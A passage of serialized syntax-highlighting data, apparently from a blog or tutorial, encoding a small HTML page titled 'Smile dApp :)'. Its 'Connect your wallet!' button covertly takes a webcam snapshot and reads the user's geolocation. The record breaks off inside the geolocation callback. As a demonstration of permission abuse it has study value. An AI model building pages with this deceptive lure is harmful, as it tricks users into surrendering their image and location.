\u003C/script>\n\u003C/body>\n\u003C/html>\n",[160884],{"type":25,"tag":82,"props":160885,"children":160886},{"__ignoreMap":7},[160887,160907,160922,160938,160968,160991,161006,161021,161053,161099,161135,161163,161178,161224,161270,161278,161346,161374,161389,161397,161404,161424,161484,161525,161554,161595,161602,161631,161669,161706,161713,161720,161753,161774,161781,161843,161899,161935,161981,161989,161996,162039,162072,162197,162230,162237,162244,162251,162263,162278,162293],{"type":25,"tag":216,"props":160888,"children":160889},{"class":6916,"line":6917},[160890,160894,160898,160903],{"type":25,"tag":216,"props":160891,"children":160892},{"style":36332},[160893],{"type":31,"value":38182},{"type":25,"tag":216,"props":160895,"children":160896},{"style":6930},[160897],{"type":31,"value":38187},{"type":25,"tag":216,"props":160899,"children":160900},{"style":6941},[160901],{"type":31,"value":160902}," html",{"type":25,"tag":216,"props":160904,"children":160905},{"style":36332},[160906],{"type":31,"value":9937},{"type":25,"tag":216,"props":160908,"children":160909},{"class":6916,"line":6763},[160910,160914,160918],{"type":25,"tag":216,"props":160911,"children":160912},{"style":36332},[160913],{"type":31,"value":9751},{"type":25,"tag":216,"props":160915,"children":160916},{"style":6930},[160917],{"type":31,"value":36339},{"type":25,"tag":216,"props":160919,"children":160920},{"style":36332},[160921],{"type":31,"value":9937},{"type":25,"tag":216,"props":160923,"children":160924},{"class":6916,"line":6772},[160925,160929,160934],{"type":25,"tag":216,"props":160926,"children":160927},{"style":36332},[160928],{"type":31,"value":9751},{"type":25,"tag":216,"props":160930,"children":160931},{"style":6930},[160932],{"type":31,"value":160933},"head",{"type":25,"tag":216,"props":160935,"children":160936},{"style":36332},[160937],{"type":31,"value":9937},{"type":25,"tag":216,"props":160939,"children":160940},{"class":6916,"line":6999},[160941,160945,160950,160955,160959,160964],{"type":25,"tag":216,"props":160942,"children":160943},{"style":36332},[160944],{"type":31,"value":36402},{"type":25,"tag":216,"props":160946,"children":160947},{"style":6930},[160948],{"type":31,"value":160949},"meta",{"type":25,"tag":216,"props":160951,"children":160952},{"style":6941},[160953],{"type":31,"value":160954}," charset",{"type":25,"tag":216,"props":160956,"children":160957},{"style":6958},[160958],{"type":31,"value":266},{"type":25,"tag":216,"props":160960,"children":160961},{"style":8199},[160962],{"type":31,"value":160963},"\"utf-8\"",{"type":25,"tag":216,"props":160965,"children":160966},{"style":36332},[160967],{"type":31,"value":9937},{"type":25,"tag":216,"props":160969,"children":160970},{"class":6916,"line":7104},[160971,160975,160979,160983,160987],{"type":25,"tag":216,"props":160972,"children":160973},{"style":36332},[160974],{"type":31,"value":36402},{"type":25,"tag":216,"props":160976,"children":160977},{"style":6930},[160978],{"type":31,"value":38260},{"type":25,"tag":216,"props":160980,"children":160981},{"style":36332},[160982],{"type":31,"value":54028},{"type":25,"tag":216,"props":160984,"children":160985},{"style":6930},[160986],{"type":31,"value":38260},{"type":25,"tag":216,"props":160988,"children":160989},{"style":36332},[160990],{"type":31,"value":9937},{"type":25,"tag":216,"props":160992,"children":160993},{"class":6916,"line":7210},[160994,160998,161002],{"type":25,"tag":216,"props":160995,"children":160996},{"style":36332},[160997],{"type":31,"value":36386},{"type":25,"tag":216,"props":160999,"children":161000},{"style":6930},[161001],{"type":31,"value":160933},{"type":25,"tag":216,"props":161003,"children":161004},{"style":36332},[161005],{"type":31,"value":9937},{"type":25,"tag":216,"props":161007,"children":161008},{"class":6916,"line":7238},[161009,161013,161017],{"type":25,"tag":216,"props":161010,"children":161011},{"style":36332},[161012],{"type":31,"value":9751},{"type":25,"tag":216,"props":161014,"children":161015},{"style":6930},[161016],{"type":31,"value":36356},{"type":25,"tag":216,"props":161018,"children":161019},{"style":36332},[161020],{"type":31,"value":9937},{"type":25,"tag":216,"props":161022,"children":161023},{"class":6916,"line":7251},[161024,161028,161032,161036,161041,161045,161049],{"type":25,"tag":216,"props":161025,"children":161026},{"style":36332},[161027],{"type":31,"value":36402},{"type":25,"tag":216,"props":161029,"children":161030},{"style":6930},[161031],{"type":31,"value":26},{"type":25,"tag":216,"props":161033,"children":161034},{"style":36332},[161035],{"type":31,"value":5896},{"type":25,"tag":216,"props":161037,"children":161038},{"style":6958},[161039],{"type":31,"value":161040},"Smile dApp :)",{"type":25,"tag":216,"props":161042,"children":161043},{"style":36332},[161044],{"type":31,"value":36386},{"type":25,"tag":216,"props":161046,"children":161047},{"style":6930},[161048],{"type":31,"value":26},{"type":25,"tag":216,"props":161050,"children":161051},{"style":36332},[161052],{"type":31,"value":9937},{"type":25,"tag":216,"props":161054,"children":161055},{"class":6916,"line":7269},[161056,161060,161065,161069,161073,161078,161082,161087,161091,161095],{"type":25,"tag":216,"props":161057,"children":161058},{"style":36332},[161059],{"type":31,"value":36402},{"type":25,"tag":216,"props":161061,"children":161062},{"style":6930},[161063],{"type":31,"value":161064},"button",{"type":25,"tag":216,"props":161066,"children":161067},{"style":6941},[161068],{"type":31,"value":36412},{"type":25,"tag":216,"props":161070,"children":161071},{"style":6958},[161072],{"type":31,"value":266},{"type":25,"tag":216,"props":161074,"children":161075},{"style":8199},[161076],{"type":31,"value":161077},"\"connect\"",{"type":25,"tag":216,"props":161079,"children":161080},{"style":36332},[161081],{"type":31,"value":5896},{"type":25,"tag":216,"props":161083,"children":161084},{"style":6958},[161085],{"type":31,"value":161086},"Connect your wallet!",{"type":25,"tag":216,"props":161088,"children":161089},{"style":36332},[161090],{"type":31,"value":36386},{"type":25,"tag":216,"props":161092,"children":161093},{"style":6930},[161094],{"type":31,"value":161064},{"type":25,"tag":216,"props":161096,"children":161097},{"style":36332},[161098],{"type":31,"value":9937},{"type":25,"tag":216,"props":161100,"children":161101},{"class":6916,"line":7290},[161102,161106,161110,161114,161118,161123,161127,161131],{"type":25,"tag":216,"props":161103,"children":161104},{"style":36332},[161105],{"type":31,"value":36402},{"type":25,"tag":216,"props":161107,"children":161108},{"style":6930},[161109],{"type":31,"value":206},{"type":25,"tag":216,"props":161111,"children":161112},{"style":6941},[161113],{"type":31,"value":36412},{"type":25,"tag":216,"props":161115,"children":161116},{"style":6958},[161117],{"type":31,"value":266},{"type":25,"tag":216,"props":161119,"children":161120},{"style":8199},[161121],{"type":31,"value":161122},"\"gps\"",{"type":25,"tag":216,"props":161124,"children":161125},{"style":36332},[161126],{"type":31,"value":54028},{"type":25,"tag":216,"props":161128,"children":161129},{"style":6930},[161130],{"type":31,"value":206},{"type":25,"tag":216,"props":161132,"children":161133},{"style":36332},[161134],{"type":31,"value":9937},{"type":25,"tag":216,"props":161136,"children":161137},{"class":6916,"line":7299},[161138,161142,161146,161150,161154,161159],{"type":25,"tag":216,"props":161139,"children":161140},{"style":36332},[161141],{"type":31,"value":36402},{"type":25,"tag":216,"props":161143,"children":161144},{"style":6930},[161145],{"type":31,"value":6461},{"type":25,"tag":216,"props":161147,"children":161148},{"style":6941},[161149],{"type":31,"value":36412},{"type":25,"tag":216,"props":161151,"children":161152},{"style":6958},[161153],{"type":31,"value":266},{"type":25,"tag":216,"props":161155,"children":161156},{"style":8199},[161157],{"type":31,"value":161158},"\"pic\"",{"type":25,"tag":216,"props":161160,"children":161161},{"style":36332},[161162],{"type":31,"value":9937},{"type":25,"tag":216,"props":161164,"children":161165},{"class":6916,"line":7551},[161166,161170,161174],{"type":25,"tag":216,"props":161167,"children":161168},{"style":36332},[161169],{"type":31,"value":36402},{"type":25,"tag":216,"props":161171,"children":161172},{"style":6930},[161173],{"type":31,"value":36372},{"type":25,"tag":216,"props":161175,"children":161176},{"style":36332},[161177],{"type":31,"value":9937},{"type":25,"tag":216,"props":161179,"children":161180},{"class":6916,"line":7568},[161181,161186,161190,161195,161199,161204,161208,161212,161216,161220],{"type":25,"tag":216,"props":161182,"children":161183},{"style":6941},[161184],{"type":31,"value":161185},"        window",{"type":25,"tag":216,"props":161187,"children":161188},{"style":6947},[161189],{"type":31,"value":179},{"type":25,"tag":216,"props":161191,"children":161192},{"style":7041},[161193],{"type":31,"value":161194},"addEventListener",{"type":25,"tag":216,"props":161196,"children":161197},{"style":6947},[161198],{"type":31,"value":1844},{"type":25,"tag":216,"props":161200,"children":161201},{"style":8199},[161202],{"type":31,"value":161203},"'unhandledrejection'",{"type":25,"tag":216,"props":161205,"children":161206},{"style":6947},[161207],{"type":31,"value":7020},{"type":25,"tag":216,"props":161209,"children":161210},{"style":6930},[161211],{"type":31,"value":35333},{"type":25,"tag":216,"props":161213,"children":161214},{"style":6947},[161215],{"type":31,"value":7010},{"type":25,"tag":216,"props":161217,"children":161218},{"style":6941},[161219],{"type":31,"value":86094},{"type":25,"tag":216,"props":161221,"children":161222},{"style":6947},[161223],{"type":31,"value":18755},{"type":25,"tag":216,"props":161225,"children":161226},{"class":6916,"line":7585},[161227,161232,161236,161241,161245,161249,161253,161258,161262,161266],{"type":25,"tag":216,"props":161228,"children":161229},{"style":7041},[161230],{"type":31,"value":161231},"            alert",{"type":25,"tag":216,"props":161233,"children":161234},{"style":6947},[161235],{"type":31,"value":1844},{"type":25,"tag":216,"props":161237,"children":161238},{"style":8199},[161239],{"type":31,"value":161240},"`Unhandled Promise Rejection: ",{"type":25,"tag":216,"props":161242,"children":161243},{"style":6930},[161244],{"type":31,"value":38065},{"type":25,"tag":216,"props":161246,"children":161247},{"style":6941},[161248],{"type":31,"value":86094},{"type":25,"tag":216,"props":161250,"children":161251},{"style":6947},[161252],{"type":31,"value":179},{"type":25,"tag":216,"props":161254,"children":161255},{"style":6941},[161256],{"type":31,"value":161257},"reason",{"type":25,"tag":216,"props":161259,"children":161260},{"style":6930},[161261],{"type":31,"value":38097},{"type":25,"tag":216,"props":161263,"children":161264},{"style":8199},[161265],{"type":31,"value":14333},{"type":25,"tag":216,"props":161267,"children":161268},{"style":6947},[161269],{"type":31,"value":7791},{"type":25,"tag":216,"props":161271,"children":161272},{"class":6916,"line":7598},[161273],{"type":25,"tag":216,"props":161274,"children":161275},{"style":6947},[161276],{"type":31,"value":161277},"        });\n",{"type":25,"tag":216,"props":161279,"children":161280},{"class":6916,"line":7607},[161281,161285,161289,161293,161297,161301,161305,161309,161313,161317,161321,161325,161329,161334,161338,161342],{"type":25,"tag":216,"props":161282,"children":161283},{"style":6941},[161284],{"type":31,"value":161185},{"type":25,"tag":216,"props":161286,"children":161287},{"style":6947},[161288],{"type":31,"value":179},{"type":25,"tag":216,"props":161290,"children":161291},{"style":7041},[161292],{"type":31,"value":36645},{"type":25,"tag":216,"props":161294,"children":161295},{"style":6947},[161296],{"type":31,"value":4977},{"type":25,"tag":216,"props":161298,"children":161299},{"style":6930},[161300],{"type":31,"value":35333},{"type":25,"tag":216,"props":161302,"children":161303},{"style":6947},[161304],{"type":31,"value":7010},{"type":25,"tag":216,"props":161306,"children":161307},{"style":6941},[161308],{"type":31,"value":61908},{"type":25,"tag":216,"props":161310,"children":161311},{"style":6947},[161312],{"type":31,"value":7020},{"type":25,"tag":216,"props":161314,"children":161315},{"style":6941},[161316],{"type":31,"value":74341},{"type":25,"tag":216,"props":161318,"children":161319},{"style":6947},[161320],{"type":31,"value":7020},{"type":25,"tag":216,"props":161322,"children":161323},{"style":6941},[161324],{"type":31,"value":6916},{"type":25,"tag":216,"props":161326,"children":161327},{"style":6947},[161328],{"type":31,"value":7020},{"type":25,"tag":216,"props":161330,"children":161331},{"style":6941},[161332],{"type":31,"value":161333},"col",{"type":25,"tag":216,"props":161335,"children":161336},{"style":6947},[161337],{"type":31,"value":7020},{"type":25,"tag":216,"props":161339,"children":161340},{"style":6941},[161341],{"type":31,"value":18815},{"type":25,"tag":216,"props":161343,"children":161344},{"style":6947},[161345],{"type":31,"value":18755},{"type":25,"tag":216,"props":161347,"children":161348},{"class":6916,"line":7630},[161349,161353,161357,161362,161366,161370],{"type":25,"tag":216,"props":161350,"children":161351},{"style":7041},[161352],{"type":31,"value":161231},{"type":25,"tag":216,"props":161354,"children":161355},{"style":6947},[161356],{"type":31,"value":1844},{"type":25,"tag":216,"props":161358,"children":161359},{"style":8199},[161360],{"type":31,"value":161361},"'onerror: '",{"type":25,"tag":216,"props":161363,"children":161364},{"style":6947},[161365],{"type":31,"value":38653},{"type":25,"tag":216,"props":161367,"children":161368},{"style":6941},[161369],{"type":31,"value":61908},{"type":25,"tag":216,"props":161371,"children":161372},{"style":6947},[161373],{"type":31,"value":7791},{"type":25,"tag":216,"props":161375,"children":161376},{"class":6916,"line":7639},[161377,161381,161385],{"type":25,"tag":216,"props":161378,"children":161379},{"style":6967},[161380],{"type":31,"value":83042},{"type":25,"tag":216,"props":161382,"children":161383},{"style":6930},[161384],{"type":31,"value":13006},{"type":25,"tag":216,"props":161386,"children":161387},{"style":6947},[161388],{"type":31,"value":6961},{"type":25,"tag":216,"props":161390,"children":161391},{"class":6916,"line":7648},[161392],{"type":25,"tag":216,"props":161393,"children":161394},{"style":6947},[161395],{"type":31,"value":161396},"        };\n",{"type":25,"tag":216,"props":161398,"children":161399},{"class":6916,"line":7716},[161400],{"type":25,"tag":216,"props":161401,"children":161402},{"emptyLinePlaceholder":16},[161403],{"type":31,"value":7636},{"type":25,"tag":216,"props":161405,"children":161406},{"class":6916,"line":7724},[161407,161412,161416,161420],{"type":25,"tag":216,"props":161408,"children":161409},{"style":6930},[161410],{"type":31,"value":161411},"        async",{"type":25,"tag":216,"props":161413,"children":161414},{"style":6930},[161415],{"type":31,"value":42171},{"type":25,"tag":216,"props":161417,"children":161418},{"style":7041},[161419],{"type":31,"value":94745},{"type":25,"tag":216,"props":161421,"children":161422},{"style":6947},[161423],{"type":31,"value":19688},{"type":25,"tag":216,"props":161425,"children":161426},{"class":6916,"line":7754},[161427,161431,161436,161440,161444,161449,161453,161458,161462,161467,161471,161476,161480],{"type":25,"tag":216,"props":161428,"children":161429},{"style":6930},[161430],{"type":31,"value":154957},{"type":25,"tag":216,"props":161432,"children":161433},{"style":6941},[161434],{"type":31,"value":161435}," stream",{"type":25,"tag":216,"props":161437,"children":161438},{"style":6947},[161439],{"type":31,"value":4977},{"type":25,"tag":216,"props":161441,"children":161442},{"style":6967},[161443],{"type":31,"value":36872},{"type":25,"tag":216,"props":161445,"children":161446},{"style":6941},[161447],{"type":31,"value":161448}," navigator",{"type":25,"tag":216,"props":161450,"children":161451},{"style":6947},[161452],{"type":31,"value":179},{"type":25,"tag":216,"props":161454,"children":161455},{"style":6941},[161456],{"type":31,"value":161457},"mediaDevices",{"type":25,"tag":216,"props":161459,"children":161460},{"style":6947},[161461],{"type":31,"value":179},{"type":25,"tag":216,"props":161463,"children":161464},{"style":7041},[161465],{"type":31,"value":161466},"getUserMedia",{"type":25,"tag":216,"props":161468,"children":161469},{"style":6947},[161470],{"type":31,"value":35454},{"type":25,"tag":216,"props":161472,"children":161473},{"style":6941},[161474],{"type":31,"value":161475},"video:",{"type":25,"tag":216,"props":161477,"children":161478},{"style":6930},[161479],{"type":31,"value":16419},{"type":25,"tag":216,"props":161481,"children":161482},{"style":6947},[161483],{"type":31,"value":42792},{"type":25,"tag":216,"props":161485,"children":161486},{"class":6916,"line":7762},[161487,161491,161496,161500,161504,161508,161512,161516,161521],{"type":25,"tag":216,"props":161488,"children":161489},{"style":6930},[161490],{"type":31,"value":154957},{"type":25,"tag":216,"props":161492,"children":161493},{"style":6941},[161494],{"type":31,"value":161495}," video",{"type":25,"tag":216,"props":161497,"children":161498},{"style":6947},[161499],{"type":31,"value":4977},{"type":25,"tag":216,"props":161501,"children":161502},{"style":6941},[161503],{"type":31,"value":36664},{"type":25,"tag":216,"props":161505,"children":161506},{"style":6947},[161507],{"type":31,"value":179},{"type":25,"tag":216,"props":161509,"children":161510},{"style":7041},[161511],{"type":31,"value":40678},{"type":25,"tag":216,"props":161513,"children":161514},{"style":6947},[161515],{"type":31,"value":1844},{"type":25,"tag":216,"props":161517,"children":161518},{"style":8199},[161519],{"type":31,"value":161520},"\"video\"",{"type":25,"tag":216,"props":161522,"children":161523},{"style":6947},[161524],{"type":31,"value":7791},{"type":25,"tag":216,"props":161526,"children":161527},{"class":6916,"line":7794},[161528,161533,161537,161542,161546,161550],{"type":25,"tag":216,"props":161529,"children":161530},{"style":6941},[161531],{"type":31,"value":161532},"            video",{"type":25,"tag":216,"props":161534,"children":161535},{"style":6947},[161536],{"type":31,"value":179},{"type":25,"tag":216,"props":161538,"children":161539},{"style":6941},[161540],{"type":31,"value":161541},"srcObject",{"type":25,"tag":216,"props":161543,"children":161544},{"style":6947},[161545],{"type":31,"value":4977},{"type":25,"tag":216,"props":161547,"children":161548},{"style":6941},[161549],{"type":31,"value":40218},{"type":25,"tag":216,"props":161551,"children":161552},{"style":6947},[161553],{"type":31,"value":6961},{"type":25,"tag":216,"props":161555,"children":161556},{"class":6916,"line":7802},[161557,161561,161566,161570,161574,161578,161582,161586,161591],{"type":25,"tag":216,"props":161558,"children":161559},{"style":6930},[161560],{"type":31,"value":154957},{"type":25,"tag":216,"props":161562,"children":161563},{"style":6941},[161564],{"type":31,"value":161565}," canvas",{"type":25,"tag":216,"props":161567,"children":161568},{"style":6947},[161569],{"type":31,"value":4977},{"type":25,"tag":216,"props":161571,"children":161572},{"style":6941},[161573],{"type":31,"value":36664},{"type":25,"tag":216,"props":161575,"children":161576},{"style":6947},[161577],{"type":31,"value":179},{"type":25,"tag":216,"props":161579,"children":161580},{"style":7041},[161581],{"type":31,"value":40678},{"type":25,"tag":216,"props":161583,"children":161584},{"style":6947},[161585],{"type":31,"value":1844},{"type":25,"tag":216,"props":161587,"children":161588},{"style":8199},[161589],{"type":31,"value":161590},"\"canvas\"",{"type":25,"tag":216,"props":161592,"children":161593},{"style":6947},[161594],{"type":31,"value":7791},{"type":25,"tag":216,"props":161596,"children":161597},{"class":6916,"line":7862},[161598],{"type":25,"tag":216,"props":161599,"children":161600},{"emptyLinePlaceholder":16},[161601],{"type":31,"value":7636},{"type":25,"tag":216,"props":161603,"children":161604},{"class":6916,"line":12995},[161605,161609,161613,161618,161623,161627],{"type":25,"tag":216,"props":161606,"children":161607},{"style":6941},[161608],{"type":31,"value":161532},{"type":25,"tag":216,"props":161610,"children":161611},{"style":6947},[161612],{"type":31,"value":179},{"type":25,"tag":216,"props":161614,"children":161615},{"style":7041},[161616],{"type":31,"value":161617},"onloadedmetadata",{"type":25,"tag":216,"props":161619,"children":161620},{"style":6947},[161621],{"type":31,"value":161622}," = () ",{"type":25,"tag":216,"props":161624,"children":161625},{"style":6930},[161626],{"type":31,"value":18773},{"type":25,"tag":216,"props":161628,"children":161629},{"style":6947},[161630],{"type":31,"value":7235},{"type":25,"tag":216,"props":161632,"children":161633},{"class":6916,"line":13013},[161634,161639,161643,161648,161652,161656,161660,161665],{"type":25,"tag":216,"props":161635,"children":161636},{"style":6941},[161637],{"type":31,"value":161638},"                canvas",{"type":25,"tag":216,"props":161640,"children":161641},{"style":6947},[161642],{"type":31,"value":179},{"type":25,"tag":216,"props":161644,"children":161645},{"style":6941},[161646],{"type":31,"value":161647},"width",{"type":25,"tag":216,"props":161649,"children":161650},{"style":6947},[161651],{"type":31,"value":4977},{"type":25,"tag":216,"props":161653,"children":161654},{"style":6941},[161655],{"type":31,"value":135784},{"type":25,"tag":216,"props":161657,"children":161658},{"style":6947},[161659],{"type":31,"value":179},{"type":25,"tag":216,"props":161661,"children":161662},{"style":6941},[161663],{"type":31,"value":161664},"videoWidth",{"type":25,"tag":216,"props":161666,"children":161667},{"style":6947},[161668],{"type":31,"value":6961},{"type":25,"tag":216,"props":161670,"children":161671},{"class":6916,"line":13058},[161672,161676,161680,161685,161689,161693,161697,161702],{"type":25,"tag":216,"props":161673,"children":161674},{"style":6941},[161675],{"type":31,"value":161638},{"type":25,"tag":216,"props":161677,"children":161678},{"style":6947},[161679],{"type":31,"value":179},{"type":25,"tag":216,"props":161681,"children":161682},{"style":6941},[161683],{"type":31,"value":161684},"height",{"type":25,"tag":216,"props":161686,"children":161687},{"style":6947},[161688],{"type":31,"value":4977},{"type":25,"tag":216,"props":161690,"children":161691},{"style":6941},[161692],{"type":31,"value":135784},{"type":25,"tag":216,"props":161694,"children":161695},{"style":6947},[161696],{"type":31,"value":179},{"type":25,"tag":216,"props":161698,"children":161699},{"style":6941},[161700],{"type":31,"value":161701},"videoHeight",{"type":25,"tag":216,"props":161703,"children":161704},{"style":6947},[161705],{"type":31,"value":6961},{"type":25,"tag":216,"props":161707,"children":161708},{"class":6916,"line":13164},[161709],{"type":25,"tag":216,"props":161710,"children":161711},{"style":6947},[161712],{"type":31,"value":52037},{"type":25,"tag":216,"props":161714,"children":161715},{"class":6916,"line":27449},[161716],{"type":25,"tag":216,"props":161717,"children":161718},{"emptyLinePlaceholder":16},[161719],{"type":31,"value":7636},{"type":25,"tag":216,"props":161721,"children":161722},{"class":6916,"line":27484},[161723,161728,161732,161737,161741,161745,161749],{"type":25,"tag":216,"props":161724,"children":161725},{"style":6941},[161726],{"type":31,"value":161727},"            connect",{"type":25,"tag":216,"props":161729,"children":161730},{"style":6947},[161731],{"type":31,"value":179},{"type":25,"tag":216,"props":161733,"children":161734},{"style":7041},[161735],{"type":31,"value":161736},"onclick",{"type":25,"tag":216,"props":161738,"children":161739},{"style":6947},[161740],{"type":31,"value":4977},{"type":25,"tag":216,"props":161742,"children":161743},{"style":6941},[161744],{"type":31,"value":2393},{"type":25,"tag":216,"props":161746,"children":161747},{"style":6930},[161748],{"type":31,"value":31705},{"type":25,"tag":216,"props":161750,"children":161751},{"style":6947},[161752],{"type":31,"value":7235},{"type":25,"tag":216,"props":161754,"children":161755},{"class":6916,"line":27492},[161756,161761,161765,161770],{"type":25,"tag":216,"props":161757,"children":161758},{"style":6941},[161759],{"type":31,"value":161760},"                video",{"type":25,"tag":216,"props":161762,"children":161763},{"style":6947},[161764],{"type":31,"value":179},{"type":25,"tag":216,"props":161766,"children":161767},{"style":7041},[161768],{"type":31,"value":161769},"play",{"type":25,"tag":216,"props":161771,"children":161772},{"style":6947},[161773],{"type":31,"value":7627},{"type":25,"tag":216,"props":161775,"children":161776},{"class":6916,"line":27500},[161777],{"type":25,"tag":216,"props":161778,"children":161779},{"emptyLinePlaceholder":16},[161780],{"type":31,"value":7636},{"type":25,"tag":216,"props":161782,"children":161783},{"class":6916,"line":27509},[161784,161788,161792,161797,161801,161806,161810,161815,161819,161823,161827,161831,161835,161839],{"type":25,"tag":216,"props":161785,"children":161786},{"style":6941},[161787],{"type":31,"value":161638},{"type":25,"tag":216,"props":161789,"children":161790},{"style":6947},[161791],{"type":31,"value":179},{"type":25,"tag":216,"props":161793,"children":161794},{"style":7041},[161795],{"type":31,"value":161796},"getContext",{"type":25,"tag":216,"props":161798,"children":161799},{"style":6947},[161800],{"type":31,"value":1844},{"type":25,"tag":216,"props":161802,"children":161803},{"style":8199},[161804],{"type":31,"value":161805},"\"2d\"",{"type":25,"tag":216,"props":161807,"children":161808},{"style":6947},[161809],{"type":31,"value":24696},{"type":25,"tag":216,"props":161811,"children":161812},{"style":7041},[161813],{"type":31,"value":161814},"drawImage",{"type":25,"tag":216,"props":161816,"children":161817},{"style":6947},[161818],{"type":31,"value":1844},{"type":25,"tag":216,"props":161820,"children":161821},{"style":6941},[161822],{"type":31,"value":135784},{"type":25,"tag":216,"props":161824,"children":161825},{"style":6947},[161826],{"type":31,"value":7020},{"type":25,"tag":216,"props":161828,"children":161829},{"style":6983},[161830],{"type":31,"value":1876},{"type":25,"tag":216,"props":161832,"children":161833},{"style":6947},[161834],{"type":31,"value":7020},{"type":25,"tag":216,"props":161836,"children":161837},{"style":6983},[161838],{"type":31,"value":1876},{"type":25,"tag":216,"props":161840,"children":161841},{"style":6947},[161842],{"type":31,"value":7791},{"type":25,"tag":216,"props":161844,"children":161845},{"class":6916,"line":27551},[161846,161851,161855,161860,161864,161869,161873,161877,161881,161886,161890,161895],{"type":25,"tag":216,"props":161847,"children":161848},{"style":6941},[161849],{"type":31,"value":161850},"                stream",{"type":25,"tag":216,"props":161852,"children":161853},{"style":6947},[161854],{"type":31,"value":179},{"type":25,"tag":216,"props":161856,"children":161857},{"style":7041},[161858],{"type":31,"value":161859},"getTracks",{"type":25,"tag":216,"props":161861,"children":161862},{"style":6947},[161863],{"type":31,"value":34123},{"type":25,"tag":216,"props":161865,"children":161866},{"style":7041},[161867],{"type":31,"value":161868},"forEach",{"type":25,"tag":216,"props":161870,"children":161871},{"style":6947},[161872],{"type":31,"value":1844},{"type":25,"tag":216,"props":161874,"children":161875},{"style":6941},[161876],{"type":31,"value":2928},{"type":25,"tag":216,"props":161878,"children":161879},{"style":6930},[161880],{"type":31,"value":31705},{"type":25,"tag":216,"props":161882,"children":161883},{"style":6941},[161884],{"type":31,"value":161885}," t",{"type":25,"tag":216,"props":161887,"children":161888},{"style":6947},[161889],{"type":31,"value":179},{"type":25,"tag":216,"props":161891,"children":161892},{"style":7041},[161893],{"type":31,"value":161894},"stop",{"type":25,"tag":216,"props":161896,"children":161897},{"style":6947},[161898],{"type":31,"value":19376},{"type":25,"tag":216,"props":161900,"children":161901},{"class":6916,"line":27584},[161902,161906,161910,161915,161919,161923,161927,161931],{"type":25,"tag":216,"props":161903,"children":161904},{"style":6941},[161905],{"type":31,"value":161638},{"type":25,"tag":216,"props":161907,"children":161908},{"style":6947},[161909],{"type":31,"value":179},{"type":25,"tag":216,"props":161911,"children":161912},{"style":7041},[161913],{"type":31,"value":161914},"toBlob",{"type":25,"tag":216,"props":161916,"children":161917},{"style":6947},[161918],{"type":31,"value":35479},{"type":25,"tag":216,"props":161920,"children":161921},{"style":6941},[161922],{"type":31,"value":36904},{"type":25,"tag":216,"props":161924,"children":161925},{"style":6947},[161926],{"type":31,"value":7030},{"type":25,"tag":216,"props":161928,"children":161929},{"style":6930},[161930],{"type":31,"value":18773},{"type":25,"tag":216,"props":161932,"children":161933},{"style":6947},[161934],{"type":31,"value":7235},{"type":25,"tag":216,"props":161936,"children":161937},{"class":6916,"line":27592},[161938,161943,161947,161951,161955,161960,161964,161969,161973,161977],{"type":25,"tag":216,"props":161939,"children":161940},{"style":6941},[161941],{"type":31,"value":161942},"                    pic",{"type":25,"tag":216,"props":161944,"children":161945},{"style":6947},[161946],{"type":31,"value":179},{"type":25,"tag":216,"props":161948,"children":161949},{"style":6941},[161950],{"type":31,"value":36626},{"type":25,"tag":216,"props":161952,"children":161953},{"style":6947},[161954],{"type":31,"value":4977},{"type":25,"tag":216,"props":161956,"children":161957},{"style":6941},[161958],{"type":31,"value":161959},"URL",{"type":25,"tag":216,"props":161961,"children":161962},{"style":6947},[161963],{"type":31,"value":179},{"type":25,"tag":216,"props":161965,"children":161966},{"style":7041},[161967],{"type":31,"value":161968},"createObjectURL",{"type":25,"tag":216,"props":161970,"children":161971},{"style":6947},[161972],{"type":31,"value":1844},{"type":25,"tag":216,"props":161974,"children":161975},{"style":6941},[161976],{"type":31,"value":36904},{"type":25,"tag":216,"props":161978,"children":161979},{"style":6947},[161980],{"type":31,"value":7791},{"type":25,"tag":216,"props":161982,"children":161983},{"class":6916,"line":27600},[161984],{"type":25,"tag":216,"props":161985,"children":161986},{"style":6947},[161987],{"type":31,"value":161988},"                });\n",{"type":25,"tag":216,"props":161990,"children":161991},{"class":6916,"line":27609},[161992],{"type":25,"tag":216,"props":161993,"children":161994},{"emptyLinePlaceholder":16},[161995],{"type":31,"value":7636},{"type":25,"tag":216,"props":161997,"children":161998},{"class":6916,"line":27685},[161999,162004,162008,162013,162017,162022,162026,162031,162035],{"type":25,"tag":216,"props":162000,"children":162001},{"style":6941},[162002],{"type":31,"value":162003},"                navigator",{"type":25,"tag":216,"props":162005,"children":162006},{"style":6947},[162007],{"type":31,"value":179},{"type":25,"tag":216,"props":162009,"children":162010},{"style":6941},[162011],{"type":31,"value":162012},"geolocation",{"type":25,"tag":216,"props":162014,"children":162015},{"style":6947},[162016],{"type":31,"value":179},{"type":25,"tag":216,"props":162018,"children":162019},{"style":7041},[162020],{"type":31,"value":162021},"getCurrentPosition",{"type":25,"tag":216,"props":162023,"children":162024},{"style":6947},[162025],{"type":31,"value":1844},{"type":25,"tag":216,"props":162027,"children":162028},{"style":6941},[162029],{"type":31,"value":162030},"pos",{"type":25,"tag":216,"props":162032,"children":162033},{"style":6930},[162034],{"type":31,"value":31705},{"type":25,"tag":216,"props":162036,"children":162037},{"style":6947},[162038],{"type":31,"value":7235},{"type":25,"tag":216,"props":162040,"children":162041},{"class":6916,"line":27718},[162042,162047,162051,162055,162059,162063,162068],{"type":25,"tag":216,"props":162043,"children":162044},{"style":6930},[162045],{"type":31,"value":162046},"                    const",{"type":25,"tag":216,"props":162048,"children":162049},{"style":6941},[162050],{"type":31,"value":41402},{"type":25,"tag":216,"props":162052,"children":162053},{"style":6947},[162054],{"type":31,"value":4977},{"type":25,"tag":216,"props":162056,"children":162057},{"style":6941},[162058],{"type":31,"value":162030},{"type":25,"tag":216,"props":162060,"children":162061},{"style":6947},[162062],{"type":31,"value":179},{"type":25,"tag":216,"props":162064,"children":162065},{"style":6941},[162066],{"type":31,"value":162067},"coords",{"type":25,"tag":216,"props":162069,"children":162070},{"style":6947},[162071],{"type":31,"value":6961},{"type":25,"tag":216,"props":162073,"children":162074},{"class":6916,"line":27726},[162075,162080,162084,162088,162092,162097,162101,162105,162109,162114,162118,162123,162127,162131,162135,162139,162143,162148,162152,162156,162160,162165,162169,162173,162177,162181,162185,162189,162193],{"type":25,"tag":216,"props":162076,"children":162077},{"style":6941},[162078],{"type":31,"value":162079},"                    